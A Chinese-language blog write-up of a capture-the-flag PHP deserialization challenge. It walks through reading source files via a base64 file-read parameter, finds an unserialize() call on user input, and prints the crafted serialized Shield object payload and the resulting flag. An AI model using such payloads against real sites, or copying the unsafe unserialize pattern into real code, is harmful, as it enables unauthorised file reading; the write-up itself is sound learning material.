一道php反序列化的题目

遇到一道php序列化与反序列化的题目,简单记录一下思路。
分析:
打开题目是一张图片,先看一下源代码发现了:

1
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>

一看就是典型的文件包含漏洞,并且要读取的值经过了base64编码,先读取一下 showimg.php 将showimg.php编码

1
/showimg.php?img=c2hvd2ltZy5waHA=

读取,查看源代码发现:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$f = $_GET['img'];
if (!empty($f)) {
$f = base64_decode($f);
if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
&& stripos($f,'pctf')===FALSE) {
readfile($f);
} else {
echo "File not found!";
}
}
?>

代码的意思是get 提交img 并赋值给 $f
再来查看一下 index.php

1
/showimg.php?img=aW5kZXgucGhw
1
2
3
4
5
6
7
8
9
<?php
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>

代码的意思是get提交class 赋值给$g 反序列化后赋值给$x readfile()可以读取
再查看一下 shield.php :

1
showimg.php?img=c2hpZWxkLnBocA==

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}

function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>

看到了hint pctf.php 类shield和readfile函数
先用showimg.php 中的readfile()直接读取 pctf.php
提示没有文件。
再来看下代码 发现对输入的pctf进行了过滤,所以不能直接利用,审计代码,发现index.php可以接收一个class,通过反序列化创建一个shield 对象,再调用这个对象的readfile方法读取。
我们现在的任务是构造一个 shield对象,序列化后输出,得到class,提交这个class,反序列化读取。
构造方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}

function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}

$shield = new Shield('pctf.php');
echo serialize($shield);
?>

得到:

1
O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

payload:

1
/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

得到flag。

1
2
3
4
5
<?php
//Ture Flag : PCTF{W3lcome_To_Shi3ld_secret_Ar3a}
//Fake flag:
echo "FLAG: PCTF{I_4m_not_fl4g}"
?><img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>

小结:通过这道题目我们可以初步认识php序列化与反序列化的知识,另外出现的 construct() 为一个常见的魔法函数。 construct() : 实例化对象时被调用,也就是实例被创建(new shield)的时候被调用。
对反序列化和魔法函数理解的还是不到位欸,还得细细研究。

-------------本文结束有错指正哦!-------------